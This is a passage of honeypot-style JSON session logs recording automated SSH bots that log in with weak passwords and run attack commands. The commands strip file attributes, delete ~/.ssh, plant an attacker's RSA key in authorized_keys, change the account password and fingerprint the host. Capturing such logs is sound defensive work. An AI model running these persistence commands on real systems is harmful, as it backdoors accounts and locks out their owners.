-a"},{"seq":26,"at":"2026-08-26T14:12:11.374148+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T14:12:12.124112+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T14:12:12.881881+00:00","kind":"output","latency_ms":null,"data":"deploy"},{"seq":29,"at":"2026-08-26T14:12:13.632215+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T14:12:14.866147+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T14:12:15.614828+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T14:12:16.838578+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"deploy","password":"asdfasdf","method":"password","accepted":true,"tier":"other"}]}
{"id":"edf04cb5-88be-43a8-8667-06ba4a9e140b","name":"craggy-quaint-flamingo","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40694,"username":"deploy","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:11:53.785298+00:00","ended_at":"2026-08-26T14:11:54.568790+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"deploy","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"5efb7eaf-7b17-49fa-8299-afc467ce0036","name":"freckled-crystal-ermine","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40693,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:11:50.638615+00:00","ended_at":"2026-08-26T14:11:52.285458+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"98ec9487-31d4-4515-8367-f0bbe33257ec","name":"eager-polar-antelope","protocol":"ssh","channel_kind":"exec","src_ip":"168.167.228.123","src_port":40689,"username":"fs","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":749,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T14:09:21.961709+00:00","ended_at":"2026-08-26T14:09:22.996074+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2159,"events":[{"seq":1,"at":"2026-08-26T14:08:53.371906+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T14:08:54.120835+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T14:09:00.989662+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T14:09:01.729042+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T14:09:02.481379+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123456\\njwiao1rlrlk6\\njwiao1rlrlk6\"|passwd|bash"},{"seq":6,"at":"2026-08-26T14:09:03.226647+00:00","kind":"input","latency_ms":null,"data":"echo \"123456\\njwiao1rlrlk6\\njwiao1rlrlk6\\n\"|passwd"},{"seq":7,"at":"2026-08-26T14:09:03.975581+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T14:09:04.365693+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T14:09:05.115608+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T14:09:06.524104+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T14:09:07.275345+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T14:09:08.298391+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T14:09:09.049739+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T14:09:09.341527+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T14:09:10.091952+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T14:09:10.413618+00:00","kind":"output","latency_ms":null,"data":" 14:09:10 up 6 days, 10:59,  0 user,  load average: 0.3, 0.32, 0.23\nUSER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT"},{"seq":17,"at":"2026-08-26T14:09:11.163392+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T14:09:11.927751+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T14:09:12.676678+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T14:09:13.117183+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T14:09:13.867729+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T14:09:14.447997+00:00","kind":"output","latency_ms":null,"data":"top - 14:09:14 up 6 days, 10:59,  0 user,  load average: 0.3, 0.32, 0.23\nTasks: 125 total,   1 running, 124 sleeping,   0 stopped,   0 zombie\n%Cpu(s):  1.3 us,  0.7 sy,  0.0 ni, 97.7 id,  0.3 wa,  0.0 hi,  0.0 si,  0.0 st\nMiB Mem :    15888 total,    9056 free,    6831 used\nMiB Swap:    4095 total,    4095 free,        0 used\n\n    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND\n      1 root      20   0  168404  13072   8284 S   0.0   1.3   0:04.19 systemd\n    742 root      20   0  109272   6144   5376 S   0.0   0.6   0:00.83 nginx\n    889 postgres  20   0  218360  28416  26112 S   0.0   2.9   0:01.44 postgres\n   1204 root      20   0  712924  48732  22188 S   0.3   4.9   0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T14:09:15.201099+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T14:09:15.793619+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T14:09:16.543788+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T14:09:17.419514+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T14:09:18.169776+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T14:09:19.033066+00:00","kind":"output","latency_ms":null,"data":"fs"},{"seq":29,"at":"2026-08-26T14:09:19.781447+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T14:09:21.214925+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T14:09:21.962353+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T14:09:22.757902+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"fs","password":"123456","method":"password","accepted":true,"tier":"other"}]}
{"id":"a5c71891-c601-4e2b-a37e-81dc045a24b4","name":"coastal-dappled-gerbil","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40691,"username":"fs","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:08:58.886372+00:00","ended_at":"2026-08-26T14:09:00.751155+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"fs","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"31326b37-566e-40da-b145-eed77e8e35c3","name":"glacial-lofty-chough","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40690,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:08:55.877846+00:00","ended_at":"2026-08-26T14:08:57.392968+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"bd9a2d06-cbd9-4c52-ac45-d1478eacca0e","name":"amber-knotted-tern","protocol":"ssh","channel_kind":"exec","src_ip":"168.167.228.123","src_port":40686,"username":"minecraft","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":746,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T14:06:38.245229+00:00","ended_at":"2026-08-26T14:06:39.380787+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2157,"events":[{"seq":1,"at":"2026-08-26T14:06:11.311707+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T14:06:12.057002+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T14:06:18.557339+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T14:06:19.410757+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T14:06:20.156534+00:00","kind":"input","latency_ms":null,"data":"echo -e \"111111\\nCbhT8POutZXs\\nCbhT8POutZXs\"|passwd|bash"},{"seq":6,"at":"2026-08-26T14:06:20.900790+00:00","kind":"input","latency_ms":null,"data":"echo \"111111\\nCbhT8POutZXs\\nCbhT8POutZXs\\n\"|passwd"},{"seq":7,"at":"2026-08-26T14:06:21.646387+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T14:06:22.260823+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T14:06:23.006131+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T14:06:24.156690+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T14:06:24.904614+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T14:06:25.916204+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T14:06:26.664313+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T14:06:27.153167+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T14:06:27.899390+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T14:06:28.240651+00:00","kind":"output","latency_ms":null,"data":" 14:06:28 up 6 days, 10:56,  0 user,  load average: 0.33, 0.28, 0.23\nUSER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT"},{"seq":17,"at":"2026-08-26T14:06:28.985818+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T14:06:29.691145+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T14:06:30.439723+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T14:06:31.017740+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T14:06:31.763313+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T14:06:32.079397+00:00","kind":"output","latency_ms":null,"data":"top - 14:06:32 up 6 days, 10:56,  0 user,  load average: 0.33, 0.28, 0.23\nTasks: 119 total,   1 running, 118 sleeping,   0 stopped,   0 zombie\n%Cpu(s):  1.3 us,  0.7 sy,  0.0 ni, 97.7 id,  0.3 wa,  0.0 hi,  0.0 si,  0.0 st\nMiB Mem :    15888 total,    9532 free,    6355 used\nMiB Swap:    4095 total,    4095 free,        0 used\n\n    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND\n      1 root      20   0  168404  13072   8284 S   0.0   1.3   0:04.19 systemd\n    742 root      20   0  109272   6144   5376 S   0.0   0.6   0:00.83 nginx\n    889 postgres  20   0  218360  28416  26112 S   0.0   2.9   0:01.44 postgres\n   1204 root      20   0  712924  48732  22188 S   0.3   4.9   0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T14:06:32.825576+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T14:06:33.355735+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T14:06:34.098239+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T14:06:34.396057+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T14:06:35.142932+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T14:06:35.486478+00:00","kind":"output","latency_ms":null,"data":"minecraft"},{"seq":29,"at":"2026-08-26T14:06:36.232577+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T14:06:37.499355+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T14:06:38.246076+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T14:06:39.144662+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"minecraft","password":"111111","method":"password","accepted":true,"tier":"other"}]}
{"id":"412694b3-be63-4aeb-9d92-6bee52de44ca","name":"jaunty-amiable-cicada","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40688,"username":"minecraft","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:06:16.213024+00:00","ended_at":"2026-08-26T14:06:18.314047+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"minecraft","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"9aff4429-612e-4c73-aa8c-a8e7c2533f22","name":"solar-hollow-woodcock","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40687,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:06:13.784878+00:00","ended_at":"2026-08-26T14:06:14.718948+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"2f3d1d3c-f051-44e5-b47e-b55406fe1d31","name":"dapper-barren-ptarmigan","protocol":"ssh","channel_kind":"exec","src_ip":"168.167.228.123","src_port":40683,"username":"pixel","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":747,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T14:03:29.804588+00:00","ended_at":"2026-08-26T14:03:30.806226+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2140,"events":[{"seq":1,"at":"2026-08-26T14:03:01.140127+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T14:03:01.886539+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T14:03:09.111891+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T14:03:09.594017+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T14:03:10.340941+00:00","kind":"input","latency_ms":null,"data":"echo -e \"pixel\\nIpiHijj8xabJ\\nIpiHijj8xabJ\"|passwd|bash"},{"seq":6,"at":"2026-08-26T14:03:11.089363+00:00","kind":"input","latency_ms":null,"data":"echo \"pixel\\nIpiHijj8xabJ\\nIpiHijj8xabJ\\n\"|passwd"},{"seq":7,"at":"2026-08-26T14:03:11.835567+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T14:03:12.385378+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T14:03:13.132342+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T14:03:14.887821+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T14:03:15.649092+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T14:03:16.574950+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T14:03:17.327769+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T14:03:17.738457+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T14:03:18.482409+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T14:03:18.926428+00:00","kind":"output","latency_ms":null,"data":" 14:03:18 up 6 days, 10:53,  0 user,  load average: 0.06, 0.07, 0.05\nUSER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT"},{"seq":17,"at":"2026-08-26T14:03:19.673119+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T14:03:20.454481+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T14:03:21.202934+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T14:03:21.671025+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T14:03:22.417356+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T14:03:23.011051+00:00","kind":"output","latency_ms":null,"data":"top - 14:03:23 up 6 days, 10:53,  0 user,  load average: 0.06, 0.07, 0.05\nTasks: 127 total,   1 running, 126 sleeping,   0 stopped,   0 zombie\n%Cpu(s):  1.3 us,  0.7 sy,  0.0 ni, 97.7 id,  0.3 wa,  0.0 hi,  0.0 si,  0.0 st\nMiB Mem :    15888 total,    6990 free,    8897 used\nMiB Swap:    4095 total,    4095 free,        0 used\n\n    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND\n      1 root      20   0  168404  13072   8284 S   0.0   1.3   0:04.19 systemd\n    742 root      20   0  109272   6144   5376 S   0.0   0.6   0:00.83 nginx\n    889 postgres  20   0  218360  28416  26112 S   0.0   2.9   0:01.44 postgres\n   1204 root      20   0  712924  48732  22188 S   0.3   4.9   0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T14:03:23.758595+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T14:03:24.064114+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T14:03:24.813556+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T14:03:25.617422+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T14:03:26.363599+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T14:03:27.100637+00:00","kind":"output","latency_ms":null,"data":"pixel"},{"seq":29,"at":"2026-08-26T14:03:27.848026+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T14:03:29.058152+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T14:03:29.805078+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T14:03:30.568713+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"pixel","password":"pixel","method":"password","accepted":true,"tier":"other"}]}
{"id":"23b91b44-6591-4fe9-9a5a-85673528c6bf","name":"bitter-wiry-wombat","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40685,"username":"pixel","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:03:06.926203+00:00","ended_at":"2026-08-26T14:03:08.875271+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"pixel","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"065102fb-0d8d-4d9e-88a6-f1e2e52c16fe","name":"fearless-sullen-eider","protocol":"ssh","channel_kind":null,"src_ip":"168.167.228.123","src_port":40684,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T14:03:03.612611+00:00","ended_at":"2026-08-26T14:03:05.415105+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"30db74f5-79a5-4ca9-a2a4-22cd2d389aa2","name":"nautical-emerald-rook","protocol":"ssh","channel_kind":"exec","src_ip":"168.167.228.123","src_port":40680,"username":"syncuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":758,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T14:00:51.104083+00:00","ended_at":"2026-08-26T14:00:52.317010+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2128,"events":[{"seq":1,"at":"2026-08-26T14:00:22.483707+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T14:00:23.240634+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T14:00:29.406878+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T14:00:30.174246+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T14:00:30.932606+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123\\nLJXrCTvSnekT\\nLJXrCTvSnekT\"|passwd|bash"},{"seq":6,"at":"2026-08-26T14:00:31.689834+00:00","kind":"input","latency_ms":null,"data":"echo \"123\\nLJXrCTvSnekT\\nLJXrCTvSnekT\\n\"|passwd"},{"seq":7,"at":"2026-08-26T14:00:32.445588+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T14:00:33.227096+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T14:00:33.984864+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T14:00:34.857204+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T14:00:35.617697+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T14:00:37.055076+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T14:00:37.817333+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T14:00:38.578162+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T14:00:39.337284+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T14:00:40.219730+00:00","kind":"output","latency_ms":null,"data":" 14:00:40 up 6 days, 10:50,  0 user,  load average: 0.23, 0.27, 0.23\nUSER     TTY      